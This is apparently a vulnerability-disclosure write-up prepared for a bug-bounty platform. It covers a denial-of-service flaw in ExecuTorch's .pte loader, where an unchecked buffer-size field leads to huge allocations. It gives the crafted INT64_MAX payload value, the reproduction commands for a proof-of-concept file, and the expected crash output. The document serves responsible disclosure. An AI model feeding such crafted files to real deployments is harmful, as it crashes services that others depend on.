| # ExecuTorch CWE-789: Uncontrolled Memory Allocation in .pte Format |
|
|
| ## Status: FINDING CONFIRMED β READY TO SUBMIT |
|
|
| ## Severity: High (P2) β DoS | CVSS 7.5 |
|
|
| ## Target |
| - **Repo:** pytorch/executorch |
| - **Platform:** huntr.com |
| - **Format:** `.pte` (FlatBuffers-based PyTorch Edge inference format) |
|
|
| ## Vulnerable Files |
|
|
| | File | Function | Issue | |
| |---|---|---| |
| | `runtime/executor/method_meta.cpp` | `MethodMeta::memory_planned_buffer_size()` | Reads `non_const_buffer_sizes[index+1]` from FlatBuffer; only checks `>= 0`, no upper-bound cap | |
| | `extension/pybindings/pybindings.cpp` | `PyProgram` constructor | `std::vector<uint8_t>(buffer_size)` with uncapped attacker value β `std::bad_alloc` | |
| | `examples/portable/executor_runner/executor_runner.cpp` | buffer allocation loop | `std::make_unique<uint8_t[]>(buffer_size)` with uncapped attacker value β OOM crash | |
|
|
| ## Missing Check |
|
|
| ```cpp |
| // Present in memory_planned_buffer_size(): |
| ET_CHECK_OR_RETURN_ERROR(size >= 0, InvalidProgram, ...); // rejects negatives |
| |
| // MISSING: |
| constexpr int64_t kMaxPlannedBufferSize = 32LL * 1024 * 1024 * 1024; |
| ET_CHECK_OR_RETURN_ERROR(size <= kMaxPlannedBufferSize, InvalidProgram, ...); |
| ``` |
|
|
| ## FlatBuffer Field |
|
|
| ``` |
| table ExecutionPlan { |
| ... |
| non_const_buffer_sizes: [int64]; // field index 8 β attacker-controlled |
| } |
| ``` |
|
|
| **Index note:** Index 0 of the vector is reserved internally. |
| `memory_planned_buffer_size(j)` reads `non_const_buffer_sizes[j + 1]`. |
| Malicious payload uses 2 elements: `[0, INT64_MAX]`. |
|
|
| ## Attack |
|
|
| Attacker crafts a `.pte` with: |
| ``` |
| Program.execution_plan[0].non_const_buffer_sizes = [0, 9223372036854775807] |
| ``` |
|
|
| Victim loads the file β runtime reads INT64_MAX β allocates INT64_MAX bytes β crash. |
|
|
| ## PoC Files |
|
|
| | File | Purpose | |
| |---|---| |
| | `poc_executorch_oom.py` | Builds `malicious.pte` and triggers OOM | |
| | `malicious.pte` | 104-byte crafted FlatBuffer (generated by script) | |
| | `poc-evidence.html` | Evidence page with real run output | |
| | `report_final.md` | Submission-ready huntr report | |
|
|
| ## Reproduction |
|
|
| ```bash |
| # Dependency |
| pip install flatbuffers --break-system-packages |
| |
| # Build malicious.pte and trigger allocation |
| python3 poc_executorch_oom.py |
| ``` |
|
|
| Expected output (allocation simulation): |
| ``` |
| [*] Saved malicious.pte (104 bytes) |
| [*] File identifier at offset 4: b'ET12' |
| [+] MemoryError β confirmed OOM (equivalent to std::bad_alloc in C++ runtime) |
| ``` |
|
|
| Binary verification: |
| ``` |
| File size : 104 bytes |
| File ident : b'ET12' |
| INT64_MAX pos : byte 80 value=ffffffffffffff7f |
| ``` |
|
|
| ## Full Runtime Crash (requires executorch installed) |
|
|
| ```bash |
| # Option A β Python runtime |
| pip install executorch |
| python3 poc_executorch_oom.py |
| # β MemoryError / SystemError (std::bad_alloc wrapped) |
| |
| # Option B β C++ executor_runner |
| ./executor_runner --model_path malicious.pte |
| # β terminate called after throwing an instance of 'std::bad_alloc' |
| ``` |
|
|